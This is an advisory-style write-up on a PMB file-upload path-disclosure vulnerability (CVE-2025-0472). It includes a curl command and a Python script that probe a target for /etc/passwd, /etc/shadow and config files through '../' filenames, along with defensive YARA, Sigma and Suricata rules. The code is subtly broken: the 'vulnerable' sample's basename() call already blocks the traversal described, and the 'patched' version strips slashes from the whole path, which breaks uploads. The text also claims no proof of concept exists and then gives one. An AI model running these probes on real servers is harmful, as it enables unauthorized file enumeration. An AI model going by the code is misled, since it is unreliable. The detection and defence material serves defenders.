CVE-2025-0472

Executive Summary

CVE-2025-0472 is an information exposure vulnerability in the PMB platform (versions 4.2.13 and earlier). The flaw allows an unauthenticated attacker to upload a file to the environment and, by analyzing the server's response, enumerate internal files and directory structures on the host machine. This can lead to the disclosure of sensitive configuration files, application source code, or other internal resources, potentially enabling further attacks.

The vulnerability has a CVSS score of 7.5 (High) and is classified under CWE-200 (Exposure of Sensitive Information). No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at this time.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) or a WordPress plugin. It is a standalone web application (PMB) vulnerability.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, and it can expose sensitive internal file paths and contents.

Deep Dive & Mechanics

The PMB platform (a library management system) contains a file upload functionality that does not properly validate or sanitize the file path or the server's response. When an attacker uploads a file, the application returns detailed error messages or response headers that reveal the absolute path of the uploaded file on the server's filesystem. By manipulating the upload request (e.g., using path traversal characters like ../), an attacker can force the application to attempt to read arbitrary files. The response will then indicate whether the file exists (e.g., via a 200 OK vs. 404 Not Found) or even include the file's content in the error message.

Attack Flow:

1. Attacker identifies the file upload endpoint (e.g., /upload.php).
2. Attacker sends a crafted multipart POST request with a filename parameter containing path traversal sequences (e.g., ../../../etc/passwd).
3. The server processes the request and returns a response that either:
   • Includes the file content in an error message (e.g., "File not found: /var/www/html/../../../etc/passwd").
   • Returns a different HTTP status code based on file existence.
4. Attacker iterates through common file paths to enumerate the filesystem.

Vulnerable vs. Patched Code

Vulnerable Code (PMB 4.2.13 and earlier):

// upload.php (simplified)
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded to: " . $target_file;
} else {
    echo "Error uploading file.";
}

The issue is that the basename() function is used, but the server's response still reveals the full path in the success message. Additionally, if the upload fails due to a path traversal attempt, the error message may include the attempted path.

Patched Code (Hypothetical fix):

// upload.php (patched)
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
// Sanitize the filename to prevent path traversal
$target_file = str_replace(array('..', '/', '\\'), '', $target_file);
if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Error uploading file.";
}

The fix should:

• Strip path traversal characters (.., /, \) from the filename.
• Return a generic success/error message without revealing the file path.
• Validate that the uploaded file is within the intended directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running PMB 4.2.13 or earlier.
• Access to the file upload endpoint (e.g., /pmb/upload.php).

Exploitation Steps:

1. Identify the upload endpoint using directory brute-forcing or by reviewing the application's source code.
2. Use curl to send a crafted upload request:

   curl -X POST -F "file=@test.txt;filename=../../../etc/passwd" http://target.com/pmb/upload.php
   

3. Analyze the response. If the server returns a message like "File uploaded to: /var/www/html/uploads/../../../etc/passwd", it confirms the path disclosure.
4. To enumerate files, use a script that sends requests with different paths and checks the response:

   import requests
   paths = ["/etc/passwd", "/etc/shadow", "/var/www/html/config.php"]
   for path in paths:
       files = {'file': ('../../../' + path, 'test')}
       r = requests.post('http://target.com/pmb/upload.php', files=files)
       if 'uploaded to' in r.text:
           print(f"Path exists: {path}")
   

Blue Team (Detection & Defense)

Detection:

• Monitor for file upload requests containing path traversal sequences (../, ..\\) in the filename parameter.
• Alert on responses that include absolute file paths (e.g., /var/www/html/).
• Use a Web Application Firewall (WAF) to block requests with ../ in file upload fields.

Defense:

• Apply input validation to strip path traversal characters from filenames.
• Configure the web server to return generic error messages (e.g., "An error occurred").
• Restrict the upload directory to a dedicated, non-web-accessible location.
• Implement file type and size restrictions.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /pmb/upload.php (or similar) with filename parameters containing ../ or ..\\.
  • Response bodies containing absolute file paths (e.g., /var/www/html/, C:\inetpub\wwwroot\).
• File System IOCs:
  • Unexpected files in the upload directory with names like ../../../etc/passwd.
• Log IOCs:
  • Web server access logs showing repeated upload attempts with path traversal patterns.
  • Application error logs containing file path disclosures.

Detection Engineering

YARA Rule

rule CVE_2025_0472_PMB_Path_Traversal {
    meta:
        description = "Detects path traversal attempts in PMB file uploads"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-0472"
    strings:
        $path_traversal = /\.\.\/|\.\.\\/
        $upload_endpoint = /upload\.php/i
    condition:
        $upload_endpoint and $path_traversal
}

Sigma Rule

title: CVE-2025-0472 PMB File Upload Path Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in PMB file upload requests
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '*/upload.php'
        cs-uri-query|contains: 'filename='
        cs-uri-query|re: '\.\.\/|\.\.\\'
    condition: selection
falsepositives:
    - Legitimate use of dots in filenames (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0472 PMB File Upload Path Traversal"; flow:to_server,established; content:"POST"; http_method; content:"upload.php"; http_uri; content:"filename="; http_client_body; pcre:"/\.\.\/|\.\.\\/"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file upload functionality if not required, or restrict it to authenticated users only.
2. Apply input validation to strip path traversal characters (.., /, \) from all uploaded filenames.
3. Configure the web server to return generic error messages (e.g., "An error occurred") instead of detailed file paths.
4. Use a Web Application Firewall (WAF) to block requests containing ../ in file upload parameters.

Long-term Fix:

• The vendor (Pmb) must release a patched version that properly sanitizes file paths and does not disclose internal paths in responses.
• Until a patch is available, consider migrating to an alternative library management system.

Workaround:

• Implement a reverse proxy that inspects and sanitizes file upload requests before they reach the PMB application.

Valters IT